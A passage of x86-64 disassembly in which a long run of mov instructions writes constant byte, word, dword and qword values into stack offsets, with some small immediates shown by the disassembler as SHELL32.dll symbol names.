mov qword [rsp + 0xc180], rax
movabs rax, 0x7767e06e601cbf
mov qword [rsp + 0xc188], rax
mov eax, 0x7fb
mov word [rsp + 0x126c], ax
movabs rax, 0x7af85edf655121
mov qword [rsp + 0xc190], rax
mov eax, 0x55b
mov word [rsp + 0x1270], ax
mov dword [rsp + 0x6324], 0xb344
movabs rax, 0x79dbbcf50aa051
mov qword [rsp + 0xc198], rax
mov dword [rsp + 0x6328], 0xf706
movabs rax, 0x7345478a6ed8c8
mov qword [rsp + 0xc1a0], rax
mov byte [rsp + 0x119], 0xf8
mov eax, 0x2a5
mov word [rsp + 0x1274], ax
mov dword [rsp + 0x632c], 0x5a1b
movabs rax, 0x77af4b921e2f21
mov qword [rsp + 0xc1a8], rax
mov eax, 0xd9e
mov word [rsp + 0x1278], ax
mov dword [rsp + 0x6330], 0xc4a
mov eax, 0x9a1
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x6334], 0xbe0f
mov dword [rsp + 0x6338], 0x10db
mov eax, 0x3de
mov word [rsp + 0x1280], ax
mov byte [rsp + 0x11a], 0x4d
mov eax, 0x23d
mov word [rsp + 0x1284], ax
movabs rax, 0x74558fc39eecc5
mov qword [rsp + 0xc1b0], rax
mov eax, 0x7b2
mov word [rsp + 0x1288], ax
mov eax, 0x45f
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x633c], 0x2ee1
mov eax, 0x11d
mov word [rsp + 0x1290], ax
mov eax, 0x768
mov word [rsp + 0x1294], ax
movabs rax, 0x7ece73132c34eb
mov qword [rsp + 0xc1b8], rax
mov eax, 0x268
mov word [rsp + 0x1298], ax
mov eax, 0x15d
mov word [rsp + 0x129c], ax
mov dword [rsp + 0x6340], 0x5b0d
mov byte [rsp + 0x11b], 0x2c
mov eax, 0x49e
mov word [rsp + 0x12a0], ax
movabs rax, 0x73cbbfa7523d92
mov qword [rsp + 0xc1c0], rax
mov eax, 0x78
mov word [rsp + 0x12a4], ax
movabs rax, 0x73160c641af28a
mov qword [rsp + 0xc1c8], rax
movabs rax, 0x793ed4a57c8840
mov qword [rsp + 0xc1d0], rax
mov eax, 0xeca
mov word [rsp + 0x12a8], ax
mov eax, 0xe1e
mov word [rsp + 0x12ac], ax
mov eax, 0xbe9
mov word [rsp + 0x12b0], ax
mov byte [rsp + 0x11c], 0x4c
movabs rax, 0x78d9dda8ca246f
mov qword [rsp + 0xc1d8], rax
movabs rax, 0x786c2599912291
mov qword [rsp + 0xc1e0], rax
mov byte [rsp + 0x11d], 0xfe
movabs rax, 0x79290289d5fb41
mov qword [rsp + 0xc1e8], rax
mov byte [rsp + 0x11e], PathYetAnotherMakeUniqueName
mov eax, 0x3b5
mov word [rsp + 0x12b4], ax
mov byte [rsp + 0x11f], 0x89
mov dword [rsp + 0x6344], 0x24aa
mov dword [rsp + 0x6348], 0x7e3
mov eax, 0x4ec
mov word [rsp + 0x12b8], ax
mov dword [rsp + 0x634c], 0x580c
mov byte [rsp + 0x120], 0xe5
mov byte [rsp + 0x121], reloc.SHELL32.dll_ILCombine
movabs rax, 0x77d91ed7b65738
mov qword [rsp + 0xc1f0], rax
mov byte [rsp + 0x122], 0x4f
movabs rax, 0x787ba12be5ca01
mov qword [rsp + 0xc1f8], rax
movabs rax, 0x7b966c6441d232
mov qword [rsp + 0xc200], rax
movabs rax, 0x7ca1a62e02adbd
mov qword [rsp + 0xc208], rax
mov dword [rsp + 0x6350], 0xc193
mov byte [rsp + 0x123], 0xd0
movabs rax, 0x75db388d25c013
mov qword [rsp + 0xc210], rax
mov dword [rsp + 0x6354], 0x7355
mov dword [rsp + 0x6358], 0x756c
movabs rax, 0x7213b51eee1a25
mov qword [rsp + 0xc218], rax
mov eax, 0x8c1
mov word [rsp + 0x12bc], ax
mov dword [rsp + 0x635c], 0x3df2
mov byte [rsp + 0x124], SHDoDragDrop
mov dword [rsp + 0x6360], 0xffc9
mov dword [rsp + 0x6364], 0x88a0
movabs rax, 0x7e4fbbf68445cf
mov qword [rsp + 0xc220], rax
mov dword [rsp + 0x6368], 0xeba8
mov dword [rsp + 0x636c], 0x3bcb
movabs rax, 0x79a1255abece06
mov qword [rsp + 0xc228], rax
mov dword [rsp + 0x6370], 0x4ef2
movabs rax, 0x735d969be7938f
mov qword [rsp + 0xc230], rax
mov byte [rsp + 0x125], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x126], 0x4d
movabs rax, 0x7c1c3d84530317
mov qword [rsp + 0xc238], rax
mov byte [rsp + 0x127], 0x72
movabs rax, 0x71cefbd5ab4414
mov qword [rsp + 0xc240], rax
mov dword [rsp + 0x6374], 0x679c
mov dword [rsp + 0x6378], 0x78b6
mov byte [rsp + 0x128], 0xc1
mov dword [rsp + 0x637c], 0x5d9e
mov byte [rsp + 0x129], 0x43
mov dword [rsp + 0x6380], 0x1c5a
movabs rax, 0x727de480b061b0
mov qword [rsp + 0xc248], rax
movabs rax, 0x7ef91ea612631b
mov qword [rsp + 0xc250], rax
mov eax, 0x4da
mov word [rsp + 0x12c0], ax
mov dword [rsp + 0x6384], 0x9a7
movabs rax, 0x75f730bb2ef425
mov qword [rsp + 0xc258], rax
mov dword [rsp + 0x6388], 0x9b8
mov dword [rsp + 0x638c], 0x5341
mov eax, 0xbfa
mov word [rsp + 0x12c4], ax
mov byte [rsp + 0x12a], 0x30
mov eax, 0xb84
mov word [rsp + 0x12c8], ax
movabs rax, 0x7ebd509d5351b3
mov qword [rsp + 0xc260], rax
mov byte [rsp + 0x12b], 0x2f
movabs rax, 0x7a792c2569f452
mov qword [rsp + 0xc268], rax
mov dword [rsp + 0x6390], 0x2d2f
mov dword [rsp + 0x6394], 0x5252
mov dword [rsp + 0x6398], 0x51a7
mov dword [rsp + 0x639c], 0x2978
mov byte [rsp + 0x12c], 0xf3
mov byte [rsp + 0x12d], 0x89
movabs rax, 0x7a0a645926b6ab
mov qword [rsp + 0xc270], rax
mov dword [rsp + 0x63a0], 0x904f
mov byte [rsp + 0x12e], 0xa0
mov eax, 0x754
mov word [rsp + 0x12cc], ax
movabs rax, 0x75f208c4c51157
mov qword [rsp + 0xc278], rax
mov dword [rsp + 0x63a4], 0x9dc
mov dword [rsp + 0x63a8], 0x3ec
mov eax, 0x2d9
mov word [rsp + 0x12d0], ax
mov dword [rsp + 0x63ac], 0x30a2
mov eax, 0x22
mov word [rsp + 0x12d4], ax
mov byte [rsp + 0x12f], 0xcf
mov eax, 0x14c
mov word [rsp + 0x12d8], ax
mov eax, 0xf68
mov word [rsp + 0x12dc], ax
mov dword [rsp + 0x63b0], 0x3dbd
mov byte [rsp + 0x130], SHGetNewLinkInfoW
mov eax, 0x503
mov word [rsp + 0x12e0], ax
mov eax, 0xebc
mov word [rsp + 0x12e4], ax
movabs rax, 0x71661113a04b96
mov qword [rsp + 0xc280], rax
mov dword [rsp + 0x63b4], 0x490a
mov byte [rsp + 0x131], 0x5c
mov eax, 0xc7d
mov word [rsp + 0x12e8], ax
mov dword [rsp + 0x63b8], 0xa9ad
mov byte [rsp + 0x132], SHSetInstanceExplorer
movabs rax, 0x7a90ef6b2b671d
mov qword [rsp + 0xc288], rax
mov byte [rsp + 0x133], ILCloneFirst
mov dword [rsp + 0x63bc], 0xd646
mov dword [rsp + 0x63c0], 0xe56d
mov dword [rsp + 0x63c4], 0x298c
mov eax, 0xc65
mov word [rsp + 0x12ec], ax
movabs rax, 0x73a06a54ec7019
mov qword [rsp + 0xc290], rax
mov eax, 0xa95
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x63c8], 0x60
movabs rax, 0x7a1141292aba25
mov qword [rsp + 0xc298], rax
mov dword [rsp + 0x63cc], 0x1cdb
mov dword [rsp + 0x63d0], 0xed2e
mov byte [rsp + 0x134], 0x1f
mov eax, 0x27a
mov word [rsp + 0x12f4], ax
movabs rax, 0x77e5971f11c056
mov qword [rsp + 0xc2a0], rax
movabs rax, 0x7e1299904ac458
mov qword [rsp + 0xc2a8], rax
movabs rax, 0x76a824097aac8f
mov qword [rsp + 0xc2b0], rax
movabs rax, 0x7b9883c18acfd7
mov qword [rsp + 0xc2b8], rax
movabs rax, 0x796c25c2b9b583
mov qword [rsp + 0xc2c0], rax
movabs rax, 0x79c16382dce443
mov qword [rsp + 0xc2c8], rax
mov byte [rsp + 0x135], 0x1d
mov eax, 0x41f
mov word [rsp + 0x12f8], ax
mov eax, 0x55b
mov word [rsp + 0x12fc], ax
mov byte [rsp + 0x136], 0x20
mov byte [rsp + 0x137], 0xcc
movabs rax, 0x77a6f298f6cd56
mov qword [rsp + 0xc2d0], rax
mov eax, 0x679
mov word [rsp + 0x1300], ax
mov eax, 0xaf0
mov word [rsp + 0x1304], ax
movabs rax, 0x7b9c49ced14f1b
mov qword [rsp + 0xc2d8], rax
mov eax, 0x37b
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x63d4], 0x8b18
mov eax, 0x23c
mov word [rsp + 0x130c], ax
mov dword [rsp + 0x63d8], 0x2907
mov byte [rsp + 0x138], 0x4d
mov byte [rsp + 0x139], SHDoDragDrop
movabs rax, 0x7847a4c35e276d
mov qword [rsp + 0xc2e0], rax
movabs rax, 0x7e85df54b25d35
mov qword [rsp + 0xc2e8], rax
movabs rax, 0x79c63d2e0c751b
mov qword [rsp + 0xc2f0], rax
mov eax, 0xfc0
mov word [rsp + 0x1310], ax
movabs rax, 0x70e42bc4f987eb
mov qword [rsp + 0xc2f8], rax
mov eax, 0x488
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x63dc], 0x1e2e
mov eax, 0x5e6
mov word [rsp + 0x1318], ax
movabs rax, 0x7637f92478954c
mov qword [rsp + 0xc300], rax
mov byte [rsp + 0x13a], ILFindChild
mov byte [rsp + 0x13b], SHDoDragDrop
mov byte [rsp + 0x13c], 0xe0
movabs rax, 0x74b076d6498e1f
mov qword [rsp + 0xc308], rax
movabs rax, 0x7cfc87af75451f
mov qword [rsp + 0xc310], rax
mov byte [rsp + 0x13d], 0x88
movabs rax, 0x720fd33091568e
mov qword [rsp + 0xc318], rax
mov dword [rsp + 0x63e0], 0x33b4
movabs rax, 0x726953b1e1e407
mov qword [rsp + 0xc320], rax
movabs rax, 0x786f3f634fa5d1
mov qword [rsp + 0xc328], rax
mov eax, 0x4b1
mov word [rsp + 0x131c], ax
movabs rax, 0x72c9dcd247f53e
mov qword [rsp + 0xc330], rax
mov dword [rsp + 0x63e4], 0x5333
mov eax, 0x55d
mov word [rsp + 0x1320], ax
mov eax, 0x173
mov word [rsp + 0x1324], ax
mov dword [rsp + 0x63e8], 0x3e11
movabs rax, 0x70a0c163281d8e
mov qword [rsp + 0xc338], rax
mov dword [rsp + 0x63ec], 0x5afb
mov eax, 0x66c
mov word [rsp + 0x1328], ax
movabs rax, 0x7c63bd9b03081c
mov qword [rsp + 0xc340], rax
mov eax, 0xe16
mov word [rsp + 0x132c], ax
mov byte [rsp + 0x13e], 0x1f
mov byte [rsp + 0x13f], 0x1c
mov eax, 0x9f
mov word [rsp + 0x1330], ax
mov dword [rsp + 0x63f0], 0x476b
mov eax, 0x161
mov word [rsp + 0x1334], ax
mov eax, 0x678
mov word [rsp + 0x1338], ax
mov byte [rsp + 0x140], 0x4d
mov byte [rsp + 0x141], 0xd0
mov dword [rsp + 0x63f4], 0x5b1a
mov eax, 0xfc6
mov word [rsp + 0x133c], ax
mov eax, 0x250
mov word [rsp + 0x1340], ax
mov dword [rsp + 0x63f8], 0x2c6d
mov dword [rsp + 0x63fc], 0x1391
movabs rax, 0x7db94a0020401b
mov qword [rsp + 0xc348], rax
mov byte [rsp + 0x142], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x143], 4
movabs rax, 0x732bb18bd8c6f1
mov qword [rsp + 0xc350], rax
mov dword [rsp + 0x6400], 0x9a37
movabs rax, 0x7cfa4df3c6e0e0
mov qword [rsp + 0xc358], rax
movabs rax, 0x725f9a0a3360d4
mov qword [rsp + 0xc360], rax
movabs rax, 0x70d232e21ca1ff
mov qword [rsp + 0xc368], rax
movabs rax, 0x75713c40467cff
mov qword [rsp + 0xc370], rax
movabs rax, 0x7b7fc7433729c9
mov qword [rsp + 0xc378], rax
mov byte [rsp + 0x144], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x6404], 0xa52f
mov byte [rsp + 0x145], SHDoDragDrop
mov byte [rsp + 0x146], 0x6b
mov eax, 0xa22
mov word [rsp + 0x1344], ax
mov eax, 0x1ea
mov word [rsp + 0x1348], ax
mov eax, reloc.SHELL32.dll_ILCloneFirst
mov word [rsp + 0x134c], ax
movabs rax, 0x7daa5d7496396c
mov qword [rsp + 0xc380], rax
mov dword [rsp + 0x6408], 0x7bcf
mov eax, 0x2ed
mov word [rsp + 0x1350], ax
movabs rax, 0x7ef90e220cf2a8
mov qword [rsp + 0xc388], rax
movabs rax, 0x7cc728dc5e8409
mov qword [rsp + 0xc390], rax
mov eax, 0x40b
mov word [rsp + 0x1354], ax
mov eax, 0x3fb
mov word [rsp + 0x1358], ax
mov eax, 0xc34
mov word [rsp + 0x135c], ax
movabs rax, 0x7d58f6842b4656
mov qword [rsp + 0xc398], rax
mov dword [rsp + 0x640c], 0x3c98
mov eax, 0x231
mov word [rsp + 0x1360], ax
mov eax, 0xd6d
mov word [rsp + 0x1364], ax
movabs rax, 0x70d22880d91361
mov qword [rsp + 0xc3a0], rax
mov eax, 0x922
mov word [rsp + 0x1368], ax
mov byte [rsp + 0x147], reloc.SHELL32.dll_ILCreateFromPathW
mov dword [rsp + 0x6410], 0x6ce0
movabs rax, 0x730d934a1a0799
mov qword [rsp + 0xc3a8], rax
mov eax, 0xe18
mov word [rsp + 0x136c], ax
mov eax, 0x578
mov word [rsp + 0x1370], ax
mov eax, 0x3ee
mov word [rsp + 0x1374], ax
mov byte [rsp + 0x148], 0x34
mov dword [rsp + 0x6414], 0xbf25
mov byte [rsp + 0x149], 0xe7
mov dword [rsp + 0x6418], 0x1ae
mov eax, 0xbe6
mov word [rsp + 0x1378], ax
mov eax, 0xf19
mov word [rsp + 0x137c], ax
mov eax, 0xdc
mov word [rsp + 0x1380], ax
mov dword [rsp + 0x641c], 0x5021
mov eax, 0x4ee
mov word [rsp + 0x1384], ax
mov eax, 0x58e
mov word [rsp + 0x1388], ax
mov eax, 0x144
mov word [rsp + 0x138c], ax
mov eax, 0x22
mov word [rsp + 0x1390], ax
mov byte [rsp + 0x14a], 0x33
mov byte [rsp + 0x14b], 0x8c
mov eax, 0xe7b
mov word [rsp + 0x1394], ax
mov byte [rsp + 0x14c], 0x6d
movabs rax, 0x718a65f3461d0a
mov qword [rsp + 0xc3b0], rax
mov dword [rsp + 0x6420], 0x19b3
mov eax, 0x4cb
mov word [rsp + 0x1398], ax
mov eax, 0x8e9
mov word [rsp + 0x139c], ax
movabs rax, 0x75867f00661a04
mov qword [rsp + 0xc3b8], rax
mov dword [rsp + 0x6424], 0x7e64
mov dword [rsp + 0x6428], 0xdffb
movabs rax, 0x70057f1a0497ba
mov qword [rsp + 0xc3c0], rax
mov byte [rsp + 0x14d], 0x39
mov byte [rsp + 0x14e], 0xc3
mov byte [rsp + 0x14f], PathYetAnotherMakeUniqueName
movabs rax, 0x7db756b0ef8a4e
mov qword [rsp + 0xc3c8], rax
mov eax, 0x360
mov word [rsp + 0x13a0], ax
movabs rax, 0x7d1974618a0ce6
mov qword [rsp + 0xc3d0], rax
movabs rax, 0x7a85632de2cc30
mov qword [rsp + 0xc3d8], rax
movabs rax, 0x7590bf56a3772d
mov qword [rsp + 0xc3e0], rax
mov byte [rsp + 0x150], 0xfb
mov eax, 0xacc
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x642c], 0x3eae
mov byte [rsp + 0x151], 0x3d
mov eax, 0x254
mov word [rsp + 0x13a8], ax
mov eax, 0x28c
mov word [rsp + 0x13ac], ax
mov eax, 0x228
mov word [rsp + 0x13b0], ax
movabs rax, 0x712efb031b071e
mov qword [rsp + 0xc3e8], rax
mov dword [rsp + 0x6430], 0x4509
mov dword [rsp + 0x6434], 0x4948
mov byte [rsp + 0x152], PathYetAnotherMakeUniqueName
movabs rax, 0x7b7e87aef0666f
mov qword [rsp + 0xc3f0], rax
mov eax, 0xabc
mov word [rsp + 0x13b4], ax
mov byte [rsp + 0x153], 0x6a
mov byte [rsp + 0x154], 0x40
movabs rax, 0x72e2e1f008997a
mov qword [rsp + 0xc3f8], rax
mov dword [rsp + 0x6438], 0x5509
mov eax, 0x559
mov word [rsp + 0x13b8], ax
movabs rax, 0x751764701f57f8
mov qword [rsp + 0xc400], rax
mov eax, 0x57a
mov word [rsp + 0x13bc], ax
mov eax, 0x1e8
mov word [rsp + 0x13c0], ax
mov byte [rsp + 0x155], 0x90
mov dword [rsp + 0x643c], 0x7edc
mov eax, 4
mov word [rsp + 0x13c4], ax
mov eax, 0x5c3
mov word [rsp + 0x13c8], ax
movabs rax, 0x7c04dfe99e8d2e
mov qword [rsp + 0xc408], rax
mov dword [rsp + 0x6440], 0x19d1
mov byte [rsp + 0x156], ILCloneFirst
movabs rax, 0x7c57a6bbfe1874
mov qword [rsp + 0xc410], rax
movabs rax, 0x7eea21ed5906fc
mov qword [rsp + 0xc418], rax
mov dword [rsp + 0x6444], 0x32ae
movabs rax, 0x7110973a99050d
mov qword [rsp + 0xc420], rax
mov dword [rsp + 0x6448], 0x3c4e
mov byte [rsp + 0x157], 0x61
mov byte [rsp + 0x158], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x159], 0x63
mov dword [rsp + 0x644c], 0xc927
movabs rax, 0x718f1b226c7d11
mov qword [rsp + 0xc428], rax
mov dword [rsp + 0x6450], 0x469f
movabs rax, 0x76a55037467c68
mov qword [rsp + 0xc430], rax
mov eax, 0x123
mov word [rsp + 0x13cc], ax
mov byte [rsp + 0x15a], PathYetAnotherMakeUniqueName
mov eax, 0xe6f
mov word [rsp + 0x13d0], ax
mov eax, 0xbb8
mov word [rsp + 0x13d4], ax
mov dword [rsp + 0x6454], 0x63a1
movabs rax, 0x7347b934304422
mov qword [rsp + 0xc438], rax
mov byte [rsp + 0x15b], SHGetNewLinkInfoW
mov eax, 0x225
mov word [rsp + 0x13d8], ax
mov dword [rsp + 0x6458], 0xa607
mov dword [rsp + 0x645c], 0xb8ef
mov eax, 0x6b2
mov word [rsp + 0x13dc], ax
movabs rax, 0x74719744a99727
mov qword [rsp + 0xc440], rax
mov eax, 0x611
mov word [rsp + 0x13e0], ax
movabs rax, 0x7ab75e28bc22b7
mov qword [rsp + 0xc448], rax
mov byte [rsp + 0x15c], 0x1e
movabs rax, 0x756a16781bb920
mov qword [rsp + 0xc450], rax
mov byte [rsp + 0x15d], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x7a2de85cb67f0c
mov qword [rsp + 0xc458], rax
mov dword [rsp + 0x6460], 0xf02f
movabs rax, 0x70412c065f26c8
mov qword [rsp + 0xc460], rax
mov dword [rsp + 0x6464], 0xa9f1
mov byte [rsp + 0x15e], PathYetAnotherMakeUniqueName
mov eax, 0x12d
mov word [rsp + 0x13e4], ax
movabs rax, 0x72d3eb97cb61d7
mov qword [rsp + 0xc468], rax
mov dword [rsp + 0x6468], 0x8528
movabs rax, 0x7b63915c043641
mov qword [rsp + 0xc470], rax
movabs rax, 0x70282be8c81476
mov qword [rsp + 0xc478], rax
mov eax, 0x6c
mov word [rsp + 0x13e8], ax
mov byte [rsp + 0x15f], 0x31
mov eax, 0x66a
mov word [rsp + 0x13ec], ax
movabs rax, 0x7adfad6e137e6f
mov qword [rsp + 0xc480], rax
mov eax, 0x939
mov word [rsp + 0x13f0], ax
mov eax, 0xe9a
mov word [rsp + 0x13f4], ax
mov eax, 0xe1
mov word [rsp + 0x13f8], ax
mov eax, 0x700
mov word [rsp + 0x13fc], ax
mov byte [rsp + 0x160], 0xcf
movabs rax, 0x77cab5cafd4f6d
mov qword [rsp + 0xc488], rax
mov byte [rsp + 0x161], 0x28
mov dword [rsp + 0x646c], 0xf0f1
mov dword [rsp + 0x6470], 0x65b9
mov eax, 0x27e
mov word [rsp + 0x1400], ax
mov eax, 0x4df
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x6474], 0x458c
mov eax, 0xa32
mov word [rsp + 0x1408], ax
mov eax, 0x163
mov word [rsp + 0x140c], ax
mov eax, 0xee8
mov word [rsp + 0x1410], ax
movabs rax, 0x7b272b7a5d9395
mov qword [rsp + 0xc490], rax
mov byte [rsp + 0x162], 0x3c
mov byte [rsp + 0x163], 0x74
mov byte [rsp + 0x164], ILFree
mov eax, 0x171
mov word [rsp + 0x1414], ax
mov dword [rsp + 0x6478], 0x7715
movabs rax, 0x7e7f4c05b42097
mov qword [rsp + 0xc498], rax
mov byte [rsp + 0x165], 0xe9
mov eax, 0x363
mov word [rsp + 0x1418], ax
movabs rax, 0x706691ce93dd61
mov qword [rsp + 0xc4a0], rax
mov eax, 0x222
mov word [rsp + 0x141c], ax
mov eax, 0xc23
mov word [rsp + 0x1420], ax
movabs rax, 0x706b136479940a
mov qword [rsp + 0xc4a8], rax
mov byte [rsp + 0x166], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x647c], 0x5c32
mov eax, 0x988
mov word [rsp + 0x1424], ax
movabs rax, 0x7612b6b53e5b24
mov qword [rsp + 0xc4b0], rax
mov dword [rsp + 0x6480], 0x17a
mov eax, 0x6f
mov word [rsp + 0x1428], ax
mov eax, 0x87e
mov word [rsp + 0x142c], ax
movabs rax, 0x7548914453eb2a
mov qword [rsp + 0xc4b8], rax
movabs rax, 0x73a0546a8648fa
mov qword [rsp + 0xc4c0], rax
mov eax, 0xd9d
mov word [rsp + 0x1430], ax
mov byte [rsp + 0x167], 0x1e
movabs rax, 0x70340282d91700
mov qword [rsp + 0xc4c8], rax
mov eax, 0x25c
mov word [rsp + 0x1434], ax
mov eax, 0x57d
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x6484], 0xf77d
mov eax, 0x7a7
mov word [rsp + 0x143c], ax
mov dword [rsp + 0x6488], 0x92d6
movabs rax, 0x7188d49767fe24
mov qword [rsp + 0xc4d0], rax
mov eax, 0xea
mov word [rsp + 0x1440], ax
movabs rax, 0x78afd378b2b323
mov qword [rsp + 0xc4d8], rax
mov eax, 0x226
mov word [rsp + 0x1444], ax
mov dword [rsp + 0x648c], 0x15
mov eax, 0x55e
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x6490], 0x367
mov byte [rsp + 0x168], 0x6e
movabs rax, 0x771bbbc9a68b1a
mov qword [rsp + 0xc4e0], rax
movabs rax, 0x7d5c83beaff468
mov qword [rsp + 0xc4e8], rax
movabs rax, 0x72f1521136b422
mov qword [rsp + 0xc4f0], rax
mov dword [rsp + 0x6494], 0x3858
mov eax, 0x48c
mov word [rsp + 0x144c], ax
mov eax, 0x329
mov word [rsp + 0x1450], ax
mov dword [rsp + 0x6498], 0xe96
mov byte [rsp + 0x169], 0x33
mov byte [rsp + 0x16a], 0x8a
mov byte [rsp + 0x16b], 0x71
mov dword [rsp + 0x649c], 0x973f
mov eax, 0x7a3
mov word [rsp + 0x1454], ax
movabs rax, 0x745be7bd2d9da2
mov qword [rsp + 0xc4f8], rax
mov eax, 0x23a
mov word [rsp + 0x1458], ax
mov byte [rsp + 0x16c], SHDoDragDrop
movabs rax, 0x702317bb847699
mov qword [rsp + 0xc500], rax
mov dword [rsp + 0x64a0], 0xf9da
movabs rax, 0x7ed9a4a1afb86a
mov qword [rsp + 0xc508], rax
mov dword [rsp + 0x64a4], 0xadca
movabs rax, 0x7d6d209a6db85d
mov qword [rsp + 0xc510], rax
mov eax, 0x840
mov word [rsp + 0x145c], ax
movabs rax, 0x7960663ea8dfae
mov qword [rsp + 0xc518], rax
movabs rax, 0x7c545d7b6a47e8
mov qword [rsp + 0xc520], rax
movabs rax, 0x7c1ebb239d3554
mov qword [rsp + 0xc528], rax
mov eax, 0xef4
mov word [rsp + 0x1460], ax
mov dword [rsp + 0x64a8], 0x98ec
mov byte [rsp + 0x16d], 9
mov eax, 0x865
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x64ac], 0xf70
movabs rax, 0x7987c6f3d1f22f
mov qword [rsp + 0xc530], rax
movabs rax, 0x78403bbff641a0
mov qword [rsp + 0xc538], rax
mov byte [rsp + 0x16e], 0x7d
mov eax, 0x72b
mov word [rsp + 0x1468], ax
movabs rax, 0x75d1105e358270
mov qword [rsp + 0xc540], rax
mov dword [rsp + 0x64b0], 0x3ba2
movabs rax, 0x737b7f7af330f1
mov qword [rsp + 0xc548], rax
mov dword [rsp + 0x64b4], 0xf42c
mov byte [rsp + 0x16f], reloc.SHELL32.dll_ILFree
movabs rax, 0x7e94071a373b4c
mov qword [rsp + 0xc550], rax
mov dword [rsp + 0x64b8], 0xeac0
movabs rax, 0x72819536a3527c
mov qword [rsp + 0xc558], rax
mov dword [rsp + 0x64bc], 0xbd2
mov dword [rsp + 0x64c0], 0x290e
movabs rax, 0x7d9359738f2b85
mov qword [rsp + 0xc560], rax
mov dword [rsp + 0x64c4], 0x7604
mov byte [rsp + 0x170], 0x3e
mov eax, 0x292
mov word [rsp + 0x146c], ax
mov eax, 0x7a0
mov word [rsp + 0x1470], ax
movabs rax, 0x73f3889f91a071
mov qword [rsp + 0xc568], rax
movabs rax, 0x7dd5da9b526f38
mov qword [rsp + 0xc570], rax
movabs rax, 0x7bb13abd0dde76
mov qword [rsp + 0xc578], rax
mov eax, 0x4b9
mov word [rsp + 0x1474], ax
movabs rax, 0x714075e2933e09
mov qword [rsp + 0xc580], rax
mov byte [rsp + 0x171], 3
mov dword [rsp + 0x64c8], 0xfccb
movabs rax, 0x7ae86e7674d69c
mov qword [rsp + 0xc588], rax
movabs rax, 0x746da74d078d30
mov qword [rsp + 0xc590], rax
mov dword [rsp + 0x64cc], 0x7aef
movabs rax, 0x7c71f1e5374017
mov qword [rsp + 0xc598], rax
movabs rax, 0x7d87eafcc633c4
mov qword [rsp + 0xc5a0], rax
mov byte [rsp + 0x172], 0x77
mov eax, 0x559
mov word [rsp + 0x1478], ax
mov eax, 0x4ad
mov word [rsp + 0x147c], ax
mov byte [rsp + 0x173], 0x63
mov dword [rsp + 0x64d0], 0x89fc
mov byte [rsp + 0x174], 0xbf
movabs rax, 0x7ae27ef48125c9
mov qword [rsp + 0xc5a8], rax
movabs rax, 0x78ae02c6990e6a
mov qword [rsp + 0xc5b0], rax
movabs rax, 0x7327b6bee656a7
mov qword [rsp + 0xc5b8], rax
mov dword [rsp + 0x64d4], 0x3569
movabs rax, 0x7ef2110d354948
mov qword [rsp + 0xc5c0], rax
mov byte [rsp + 0x175], 0xd7
movabs rax, 0x740d3c3530ab59
mov qword [rsp + 0xc5c8], rax
mov dword [rsp + 0x64d8], 0x60bd
mov dword [rsp + 0x64dc], 0xbf32
mov dword [rsp + 0x64e0], 0x6be8
mov byte [rsp + 0x176], 0x29
movabs rax, 0x79fb3e8ae0643f
mov qword [rsp + 0xc5d0], rax
mov dword [rsp + 0x64e4], 0x3072
mov dword [rsp + 0x64e8], 0xce09
mov byte [rsp + 0x177], ILFindChild
mov dword [rsp + 0x64ec], 0x37ef
mov byte [rsp + 0x178], 0x5a
mov dword [rsp + 0x64f0], 0x82d8
mov byte [rsp + 0x179], 0x7f
mov dword [rsp + 0x64f4], 0x1851
mov byte [rsp + 0x17a], ILFree
mov dword [rsp + 0x64f8], 0x3866
movabs rax, 0x774dad567e62c0
mov qword [rsp + 0xc5d8], rax
movabs rax, 0x7d6efae8e2abdf
mov qword [rsp + 0xc5e0], rax
movabs rax, 0x7a11d015d2b100
mov qword [rsp + 0xc5e8], rax
mov eax, 0x4d9
mov word [rsp + 0x1480], ax
mov byte [rsp + 0x17b], 0xcc
movabs rax, 0x75b9a38d229115
mov qword [rsp + 0xc5f0], rax
mov dword [rsp + 0x64fc], 0x1a96
mov dword [rsp + 0x6500], 0x5ec5
movabs rax, 0x741114281fa841
mov qword [rsp + 0xc5f8], rax
movabs rax, 0x7b7c232c3d756a
mov qword [rsp + 0xc600], rax
movabs rax, 0x7b1fcf3b4e7c87
mov qword [rsp + 0xc608], rax
movabs rax, 0x77b7d2aa7b8735
mov qword [rsp + 0xc610], rax
mov dword [rsp + 0x6504], 0xd8c2
movabs rax, 0x79d527219158b6
mov qword [rsp + 0xc618], rax
mov byte [rsp + 0x17c], 0x2d
mov byte [rsp + 0x17d], 0xf1
movabs rax, 0x71b46d144ad467
mov qword [rsp + 0xc620], rax
mov eax, 0x76b
mov word [rsp + 0x1484], ax
mov dword [rsp + 0x6508], 0x641c
mov byte [rsp + 0x17e], 0xe0
mov byte [rsp + 0x17f], 0x90
mov eax, 0x413
mov word [rsp + 0x1488], ax
mov dword [rsp + 0x650c], 0x20b3
mov dword [rsp + 0x6510], 0x1098
mov eax, 0x3a3
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x180], SHDoDragDrop
mov eax, 0x77e
mov word [rsp + 0x1490], ax
mov byte [rsp + 0x181], reloc.SHELL32.dll_ILFree
movabs rax, 0x72e1f5fb73236b
mov qword [rsp + 0xc628], rax
mov dword [rsp + 0x6514], 0xeac
mov byte [rsp + 0x182], 0x7a
mov byte [rsp + 0x183], 8
mov byte [rsp + 0x184], 0x5b
movabs rax, 0x7c340d271eff07
mov qword [rsp + 0xc630], rax
mov eax, 0x579
mov word [rsp + 0x1494], ax
mov byte [rsp + 0x185], 0x1c
mov byte [rsp + 0x186], 0x41
mov eax, 0x709
mov word [rsp + 0x1498], ax
mov eax, reloc.SHELL32.dll_ILIsEqual
mov word [rsp + 0x149c], ax
mov eax, 0x489
mov word [rsp + 0x14a0], ax
movabs rax, 0x7affcec0cf9c22
mov qword [rsp + 0xc638], rax
